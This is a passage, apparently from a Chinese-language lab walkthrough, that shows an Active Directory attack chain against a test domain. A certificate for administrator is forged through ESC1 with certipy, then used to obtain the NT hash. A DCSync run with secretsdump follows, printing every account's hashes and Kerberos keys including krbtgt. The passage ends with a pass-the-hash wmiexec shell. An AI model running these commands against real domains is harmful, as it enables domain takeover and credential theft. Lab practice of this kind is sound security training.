      ESC3 Target Template              : Template can be targeted as part of ESC3 exploitation. This is not a vulnerability by itself. See the wiki for more details. Template has schema version 1.

ESC1: 伪造Administrator证书

(base) ┌──(root㉿zss)-[/mnt/hgfs/Kali]
└─# certipy-ad req -u mht@sec.org -p 'CEO@Hacked123' -dc-ip 192.168.111.10 -ca 'sec-AD-CA' -template 'User' -upn 'administrator@sec.org' -target 192.168.111.10
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Request ID is 14
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator@sec.org'
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'

获取: administrator.pfx

证书认证获取Administrator Hash

(base) ┌──(root㉿zss)-[/mnt/hgfs/Kali]
└─# faketime "2026-01-09 01:09:30" certipy-ad auth -pfx administrator.pfx -dc-ip 192.168.111.10
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: 'administrator@sec.org'
[*] Using principal: 'administrator@sec.org'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@sec.org': aad3b435b51404eeaad3b435b51404ee:6f4009ffe6f419f6ebef8c5c4495f26f

获取Administrator NTLM Hash: 6f4009ffe6f419f6ebef8c5c4495f26f

DCSync攻击

(base) ┌──(root㉿zss)-[/mnt/hgfs/Kali]
└─# impacket-secretsdump 'sec.org/Administrator@192.168.111.10' -hashes
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies

usage: secretsdump.py [-h] [-ts] [-debug] [-system SYSTEM] [-bootkey BOOTKEY] [-security SECURITY] [-sam SAM] [-ntds NTDS] [-resumefile RESUMEFILE] [-skip-sam] [-skip-security] [-outputfile OUTPUTFILE] [-use-vss] [-rodcNo RODCNO] [-rodcKey RODCKEY] [-use-keylist]
                      [-exec-method [{smbexec,wmiexec,mmcexec}]] [-use-remoteSSWMI] [-use-remoteSSWMI-NTDS] [-remoteSSWMI-remote-volume REMOTESSWMI_REMOTE_VOLUME] [-remoteSSWMI-local-path REMOTESSWMI_LOCAL_PATH] [-just-dc-user USERNAME] [-ldapfilter LDAPFILTER]
                      [-just-dc] [-just-dc-ntlm] [-skip-user SKIP_USER] [-pwd-last-set] [-user-status] [-history] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] [-keytab KEYTAB] [-dc-ip ip address] [-target-ip ip address]
                      target
secretsdump.py: error: argument -hashes: expected one argument

(base) ┌──(root㉿zss)-[/mnt/hgfs/Kali]
└─# impacket-secretsdump 'sec.org/Administrator@192.168.111.10' -hashes 'aad3b435b51404eeaad3b435b51404ee:6f4009ffe6f419f6ebef8c5c4495f26f' -just-dc
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:6f4009ffe6f419f6ebef8c5c4495f26f:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:279e266d2747d0662e33c1b46b9da51b:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
sec.org\mht:1103:aad3b435b51404eeaad3b435b51404ee:033319e8e065a04507780915c12c69ed:::
sec.org\lily:1132:aad3b435b51404eeaad3b435b51404ee:ded11e1ddc1c3e503280098610e0a54e:::
sec.org\newmht:1134:aad3b435b51404eeaad3b435b51404ee:0325cfe5a76c3d9f9fbabef928c2c83c:::
Cook:1135:aad3b435b51404eeaad3b435b51404ee:8ac71e8fdb3f7468c3b0d80611dee7e4:::
Jim:1136:aad3b435b51404eeaad3b435b51404ee:d676f9a84dd63248b27d65e988c22c03:::
John:1137:aad3b435b51404eeaad3b435b51404ee:2fd49537c8e1a5050a874cd212a26588:::
Moly:1138:aad3b435b51404eeaad3b435b51404ee:ded11e1ddc1c3e503280098610e0a54e:::
Jock:1601:aad3b435b51404eeaad3b435b51404ee:806a77b92e4308f72e55874e31b61158:::
AD$:1000:aad3b435b51404eeaad3b435b51404ee:af09c873164ed481ecf0f6230966d0ad:::
[*] Kerberos keys grabbed
Guest:aes256-cts-hmac-sha1-96:0194cc5df86f528d5ad89b52a2dca7c22807578397eacabefecea4e00a00e433
Guest:aes128-cts-hmac-sha1-96:d3d0b5d060e4d3806aade76b7aeed723
Guest:des-cbc-md5:cb7fc7dc0d868c80
krbtgt:aes256-cts-hmac-sha1-96:7c4b092e81005317f5a607057827aa2fed6d1efda3e3459199b04791501f5cb3
krbtgt:aes128-cts-hmac-sha1-96:a611f3b4fda6e9610fc793bf33570118
krbtgt:des-cbc-md5:e65245c11c31522c
sec.org\mht:aes256-cts-hmac-sha1-96:02dfffcb194fc906aee10925959a96f046c77ecab056bea198c40d2c6313809c
sec.org\mht:aes128-cts-hmac-sha1-96:3c837cb387d62191d92cadd6c147d146
sec.org\mht:des-cbc-md5:070ee36416bc403b
sec.org\lily:aes256-cts-hmac-sha1-96:ee4caacb26054b9f430a5b9aec961c7426f292b711f3813ef7ddcd0c82a27c41
sec.org\lily:aes128-cts-hmac-sha1-96:54278c5b39a91be7b110eb07a3a72ad4
sec.org\lily:des-cbc-md5:c23bbca4105e3434
sec.org\newmht:aes256-cts-hmac-sha1-96:ea768bbca65ddc445da8949d4a8b8ba333abffd1face063c6727b43ad39dfcd7
sec.org\newmht:aes128-cts-hmac-sha1-96:b4aacb22a95f832ecc2cd89497e8d145
sec.org\newmht:des-cbc-md5:4a4faead43853297
Cook:aes256-cts-hmac-sha1-96:0cb92f26d8bed429443cd3f4e70739f22b2a21c380d179eb7bc393e1c2db436f
Cook:aes128-cts-hmac-sha1-96:24335d51113f3645eaaef0ebe94f3c88
Cook:des-cbc-md5:4f98cdb69d67f116
Jim:aes256-cts-hmac-sha1-96:1b2117c0a6fae32f18db98417d99882fdeacc3ed66a1245ba1fe32dbf14651a8
Jim:aes128-cts-hmac-sha1-96:c1cd67a7d193a7614e817bfb0403eecf
Jim:des-cbc-md5:6285d625e3496757
John:aes256-cts-hmac-sha1-96:282cbf659c6314f260dcb63951080ac931ebb2562954a4af41f94468fc16b8a4
John:aes128-cts-hmac-sha1-96:ff992dbd77878c519065a05043e491cc
John:des-cbc-md5:fb25e9459462a4c7
Moly:aes256-cts-hmac-sha1-96:387113738026c6dbed871bc20871f960583e940601e8a0f4ae3b3680329fe0eb
Moly:aes128-cts-hmac-sha1-96:4d7c06c6437449b0d6ea2cd978a26bd2
Moly:des-cbc-md5:253e4a8cdc80c42c
Jock:aes256-cts-hmac-sha1-96:ecf51a426ee1d2e2951f55c7bae792780d4d5ad5c8bd1510512f28e9b8f6c2ce
Jock:aes128-cts-hmac-sha1-96:842d5df766738b5521a9397fc040be61
Jock:des-cbc-md5:0240a1e626df204c
AD$:aes256-cts-hmac-sha1-96:4737791f97d13aaf491d3a11c5863d4e9f9249433c18c51a8132ea6256ecae5a
AD$:aes128-cts-hmac-sha1-96:ff4e75beb3daa32284333fefec816a5a
AD$:des-cbc-md5:a246d6250e68f88f
[*] Cleaning up...

PTH

(base) ┌──(root㉿zss)-[/mnt/hgfs/Kali]
└─# impacket-wmiexec 'sec.org/Administrator@192.168.111.10' -hashes 'aad3b435b51404eeaad3b435b51404ee:6f4009ffe6f419f6ebef8c5c4495f26f' -codec gbk
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
sec\administrator